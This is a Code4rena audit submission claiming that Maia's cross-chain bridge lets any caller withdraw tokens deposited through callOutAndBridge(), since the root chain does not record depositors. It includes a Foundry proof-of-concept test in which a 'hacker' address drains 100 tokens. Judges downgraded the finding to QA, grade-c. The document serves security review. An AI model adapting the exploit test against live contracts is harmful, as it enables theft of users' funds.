An attacker can steal assets from RootPort if assets are deposited by callOutAndBridge() or callOutAndBridgeMultiple()

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L490-L536
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L351-L384
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L277-L291
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L219-L221
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L241-L250

Vulnerability details

Impact

callOutAndBridge() is a deposit function where users can deposit underlying tokens and local tokens on the branch chain, and global tokens are minted on the root chain. However, there's an issue with this function. The message passed to the root chain only contains information about the underlying token and local token, lacking details about the depositor. Consequently, the root chain is unaware of who deposited these tokens.
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L209-L228

    function callOutAndBridge(
        address payable _refundee,
        bytes calldata _params,
        DepositInput memory _dParams,
        GasParams calldata _gParams
    ) external payable override lock {
        //Cache Deposit Nonce
        uint32 _depositNonce = depositNonce;

        //Encode Data for cross-chain call.
        bytes memory payload = abi.encodePacked(
>>>            bytes1(0x02), _depositNonce, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit, _params
        );

        //Create Deposit and Send Cross-Chain request
        _createDeposit(_depositNonce, _refundee, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit);

        //Perform Call
        _performCall(_refundee, payload, _gParams);
    }

After receiving the callOutAndBridge message from BranchBridgeAgent, RootBridgeAgent generates global tokens based on the quantity of underlying tokens and local tokens in the message. These global tokens are stored in localRouterAddress. However, there is no indication or marking to identify which user owns these global tokens.
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L479-L487

            // Try to execute remote request
            // Flag 1 - RootBridgeAgentExecutor(bridgeAgentExecutorAddress).executeNoDeposit(localRouterAddress, payload, _srcChainId)
            _execute(
                nonce,
                abi.encodeWithSelector(
>>>                    RootBridgeAgentExecutor.executeNoDeposit.selector, localRouterAddress, _payload, srcChainId
                ),
                srcChainId
            );

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L66C1-L73C6

    function executeNoDeposit(address _router, bytes calldata _payload, uint16 _srcChainId)
        external
        payable
        onlyOwner
    {
        //Execute remote request
        IRouter(_router).execute{value: msg.value}(_payload[PARAMS_TKN_START:], _srcChainId);
    }

When a user initiates a withdrawal request by calling callOut, RootBridgeAgent retrieves global tokens from localRouterAddress according to the requested quantity, regardless of whether the user has made a deposit or the specified quantities of underlying tokens and local tokens. Subsequently, a response message is sent to the user.
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L508-L533

    function _approveAndCallOut(
        address refundee,
        address recipient,
        address outputToken,
        uint256 amountOut,
        uint256 depositOut,
        uint16 dstChainId,
        GasParams memory gasParams
    ) internal virtual {
        // Save bridge agent address to memory
        address _bridgeAgentAddress = bridgeAgentAddress;

        // Approve Root Port to spend/send output hTokens.
>>>        outputToken.safeApprove(_bridgeAgentAddress, amountOut);

        //Move output hTokens from Root to Branch and call 'clearToken'.
        IBridgeAgent(_bridgeAgentAddress).callOutAndBridge{value: msg.value}(
            payable(refundee),
            recipient,
            dstChainId,
            "",
            SettlementInput(outputToken, amountOut, depositOut),
            gasParams,
            true
        );
    }

The same issue exists with callOutAndBridgeMultiple.

Proof of Concept

In the following test code, a legitimate user calls callOutAndBridge() to deposit 100 avaxMockAssetToken tokens. Subsequently, the hacker calls callOut() to steal these 100 avaxMockAssetToken tokens.

    address public hacker = vm.addr(0x3);

    function testcallOutAndBridge() public {
        testAddLocalToken();

        switchToLzChain(avaxChainId);
        //Get some gas.
        vm.deal(address(this), 200 ether);
        //Mint Underlying Token.
        avaxMockAssetToken.mint(address(this), 100 ether);
        //Approve spend by router
        avaxMockAssetToken.approve(address(avaxPort), 100 ether);

        //Prepare deposit info
        DepositInput memory depositInput = DepositInput({
            hToken: address(avaxMockAssethToken),
            token: address(avaxMockAssetToken),
            amount: 100 ether,
            deposit: 100 ether
        });

        //Call Deposit function
        avaxMulticallBridgeAgent.callOutAndBridge{value: 100 ether}(
            payable(address(this)), "", depositInput, GasParams(800_000, 0.01 ether)
        );

        switchToLzChain(rootChainId);
        console2.log("==================================================================================================================");
        console2.log("newAvaxAssetGlobal  rootMulticallRouter: %s", ERC20hTokenRoot(newAvaxAssetGlobalAddress).balanceOf(address(rootMulticallRouter)));

        switchToLzChain(avaxChainId);
        vm.startPrank(hacker);
        console2.log("==================================================================================================================");
        console2.log("avaxMockAssetToken hacker: %s", avaxMockAssetToken.balanceOf(hacker));
        console.log("hacking .....................");

        //Prepare data
        address outputToken;
        uint256 amountOut;
        uint256 depositOut;
        bytes memory packedData;

        outputToken = newAvaxAssetGlobalAddress;
        amountOut = 100 ether;
        depositOut = 100 ether;

        //Output Params
        OutputParams memory outputParams = OutputParams(hacker, outputToken, amountOut, depositOut);

        //dstChainId
        uint16 dstChainId = avaxChainId;

        Multicall2.Call[] memory calls = new Multicall2.Call[](1);
        calls[0] = Multicall2.Call({
            target: newAvaxAssetGlobalAddress,
            callData: abi.encodeWithSelector(ERC20hTokenRoot(newAvaxAssetGlobalAddress).name.selector)
        });
        bytes memory data = abi.encode(calls, outputParams, dstChainId, GasParams(500_000, 0));

        //Pack FuncId
        packedData = abi.encodePacked(bytes1(0x02), data);
        
        //Call Withdraw function
        vm.deal(hacker, 200 ether);
        avaxMulticallBridgeAgent.callOut{value: 100 ether}(
            payable(hacker), packedData, GasParams(800_000, 0.01 ether)
        );    
        vm.stopPrank();
        console.log("hacked !!!!!!!!!!!!!!!!!!!!!!");

        switchToLzChain(rootChainId);
        console2.log("==================================================================================================================");
        console2.log("newAvaxAssetGlobal  rootMulticallRouter: %s", ERC20hTokenRoot(newAvaxAssetGlobalAddress).balanceOf(address(rootMulticallRouter)));

        switchToLzChain(avaxChainId);
        console2.log("==================================================================================================================");
        console2.log("avaxMockAssetToken hacker: %s", avaxMockAssetToken.balanceOf(hacker));
    }

Tools Used

Foundry

Recommended Mitigation Steps

Add depositor information in both callOutAndBridge and callOutAndBridgeMultiple, with the root chain recording the depositors. When users request withdrawals, check whether they have sufficient deposits.

Assessed type

Context

[c4-pre-sort]

0xA5DF marked the issue as duplicate of #685

[c4-pre-sort]

0xA5DF marked the issue as high quality report

[c4-judge]

alcueca changed the severity to QA (Quality Assurance)

[c4-judge]

alcueca marked the issue as grade-c

[alcueca]

Router must be instructed on what to do with tokens once bridged in on unsigned calls.